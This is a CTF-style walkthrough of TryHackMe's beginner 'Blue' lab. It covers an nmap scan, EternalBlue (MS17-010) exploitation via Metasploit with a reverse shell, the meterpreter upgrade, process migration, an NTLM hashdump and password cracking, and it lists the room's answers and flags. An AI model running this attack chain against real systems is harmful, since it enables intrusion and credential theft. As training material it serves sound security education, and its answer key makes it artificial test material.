THM: Blue

Solution of Blue room

Recon

Scan and learn what exploit this machine is vulnerable to. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up. This room is not meant to be a boot2root CTF, rather, this is an educational series for complete beginners. Professionals will likely get very little out of this room beyond basic practice as the process here is meant to be beginner-focused.

The virtual machine used in this room (Blue) can be downloaded for offline usage from https://darkstar7471.com/resources.html[](https://darkstar7471.com/resources.html)

_Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter._

Answer the questions

Scan the machine. (If you are unsure how to tackle this, I recommend checking out the [Nmap](https://tryhackme.com/room/furthernmap) room)

bash
nmap -sV -sC --script vuln -oN blue.nmap 10.10.143.88

# Nmap 7.80 scan initiated Tue Oct 21 13:16:46 2025 as: nmap -sV -sC --script vuln -oN blue.nmap 10.10.143.88
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.143.88
Host is up (0.00062s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp  open  tcpwrapped
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown: 
49152/tcp open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49153/tcp open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49154/tcp open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49158/tcp open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49160/tcp open  msrpc        Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 02:D7:4D:B1:AF:7D (Unknown)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 21 13:19:04 2025 -- 1 IP address (1 host up) scanned in 138.25 seconds

How many ports are open with a port number under 1000?

Answer: 3

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Answer: ms17-010


Gain Access

Exploit the machine and gain a foothold.

Answer the questions

Start [Metasploit](https://tryhackme.com/module/metasploit)

bash
msfconsole

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

bash
msf6 > search type:exploit windows 7 name:ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .


Interact with a module by name or index. For example info 18, use 18 or use exploit/windows/smb/ms17_010_psexec

msf6 >

Answer: exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for submission)

bash
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.215.60     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.143.88
RHOSTS => 10.10.143.88
msf6 exploit(windows/smb/ms17_010_eternalblue) >

Answer RHOSTS

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!

bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.215.60:4444 
[*] 10.10.143.88:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.143.88:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.143.88:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.143.88:445 - The target is vulnerable.
[*] 10.10.143.88:445 - Connecting to target for exploitation.
[+] 10.10.143.88:445 - Connection established for exploitation.
[+] 10.10.143.88:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.143.88:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.143.88:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.143.88:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.143.88:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.143.88:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.143.88:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.143.88:445 - Sending all but last fragment of exploit packet
[*] 10.10.143.88:445 - Starting non-paged pool grooming
[+] 10.10.143.88:445 - Sending SMBv2 buffers
[+] 10.10.143.88:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.143.88:445 - Sending final SMBv2 buffers.
[*] 10.10.143.88:445 - Sending last fragment of exploit packet!
[*] 10.10.143.88:445 - Receiving response from exploit packet
[+] 10.10.143.88:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.143.88:445 - Sending egg to corrupted connection.
[*] 10.10.143.88:445 - Triggering free of corrupted buffer.
[-] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.143.88:445 - Connecting to target for exploitation.
[+] 10.10.143.88:445 - Connection established for exploitation.
[+] 10.10.143.88:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.143.88:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.143.88:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.143.88:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.143.88:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.143.88:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.143.88:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.143.88:445 - Sending all but last fragment of exploit packet
[*] 10.10.143.88:445 - Starting non-paged pool grooming
[+] 10.10.143.88:445 - Sending SMBv2 buffers
[+] 10.10.143.88:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.143.88:445 - Sending final SMBv2 buffers.
[*] 10.10.143.88:445 - Sending last fragment of exploit packet!
[*] 10.10.143.88:445 - Receiving response from exploit packet
[+] 10.10.143.88:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.143.88:445 - Sending egg to corrupted connection.
[*] 10.10.143.88:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.143.88
[*] Command shell session 1 opened (10.10.215.60:4444 -> 10.10.143.88:49191) at 2025-10-21 13:30:35 +0100
[+] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.143.88:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----
          

C:\Windows\system32>


Escalate

Escalate privileges, learn how to upgrade shells in metasploit.

Answer the questions

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

bash
C:\Windows\system32>background

Background session 1? [y/N]  y
msf6 exploit(windows/smb/ms17_010_eternalblue) > search type:post name:shell_to_meterpreter
[-] No results from search
msf6 exploit(windows/smb/ms17_010_eternalblue) > search type:post shell_to_meterpreter

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter  .                normal  No     Shell to Meterpreter Upgrade


Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter

msf6 exploit(windows/smb/ms17_010_eternalblue) > 

Answer: post/multi/manage/shell_to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > 

Answer SESSION

Set the required option, you may need to list all of the sessions to find your target here.

bash
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type               Information                                               Connection
  --  ----  ----               -----------                                               ----------
  1         shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.10.215.60:4444 -> 10.10.143.88:49191 (10.10.143.88)

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > 

Run! If this doesn't work, try completing the exploit from the previous task once more.

bash
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.215.60:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (203846 bytes) to 10.10.143.88
[*] Meterpreter session 2 opened (10.10.215.60:4433 -> 10.10.143.88:49192) at 2025-10-21 13:38:53 +0100
[*] Stopping exploit/multi/handler
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                               Connection
  --  ----  ----                     -----------                                               ----------
  1         shell x64/windows        Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.10.215.60:4444 -> 10.10.143.88:49191 (10.10.143.88)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC                              10.10.215.60:4433 -> 10.10.143.88:49192 (10.10.143.88)

Once the meterpreter shell conversion completes, select that session for use.

bash
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

bash
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

bash
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 100   696   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 488   696   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 540   820   WmiPrvSE.exe
 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 600   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 608   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 648   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 696   600   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 704   600   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 712   600   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 820   696   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 888   696   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 936   696   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1004  648   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 1044  696   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1164  696   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 1288  696   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1324  696   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1392  696   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1464  696   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\XenTools\LiteAgent.exe
 1596  696   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
 1860  1288  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 1944  696   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 2008  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2040  696   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM
 2268  1584  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2348  696   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 2484  696   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE
 2488  696   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 2532  696   vds.exe               x64   0        NT AUTHORITY\SYSTEM
 2556  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2708  696   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM
 2848  2352  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2880  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 3012  1596  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
 3020  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe

meterpreter > 

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

bash
meterpreter > migrate 1288
[*] Migrating from 2848 to 1288...
[*] Migration completed successfully.
meterpreter >


Cracking

Dump the non-default user's password and crack it!

Answer the questions

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

bash
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >

Answer: Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

https://hashes.com/en/decrypt/hash

ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22

Answer: alqfna22


Find flags!

Find the three flags planted on this machine. These are not traditional flags, rather, they're meant to represent key locations within the Windows system.

Answer the questions

Flag1? _This flag can be found at the system root._

bash
meterpreter > search -fi *Flag1*
Found 2 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482           2019-03-17 19:26:42 +0000
c:\flag1.txt                                                     24            2019-03-17 19:27:21 +0000

meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter > 

Answer: flag{access_the_machine}

Flag2? _This flag can be found at the location where passwords are stored within Windows._
*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

bash
meterpreter > search -fi *flag2*
Found 2 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848           2019-03-17 19:30:04 +0000
c:\Windows\System32\config\flag2.txt                             34            2019-03-17 19:32:48 +0000

meterpreter > cat C:/Windows/system32/config/flag2.txt
flag{sam_database_elevated_access}

Answer: flag{sam_database_elevated_access}

flag3? _This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved._

bash
meterpreter > search -fi *flag3*
Found 2 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344          2019-03-17 19:32:52 +0000
c:\Users\Jon\Documents\flag3.txt                                 37            2019-03-17 19:26:36 +0000

meterpreter > cat C:/Users/Jon/Documents/flag3.txt
flag{admin_documents_can_be_valuable}

Answer: flag{admin_documents_can_be_valuable}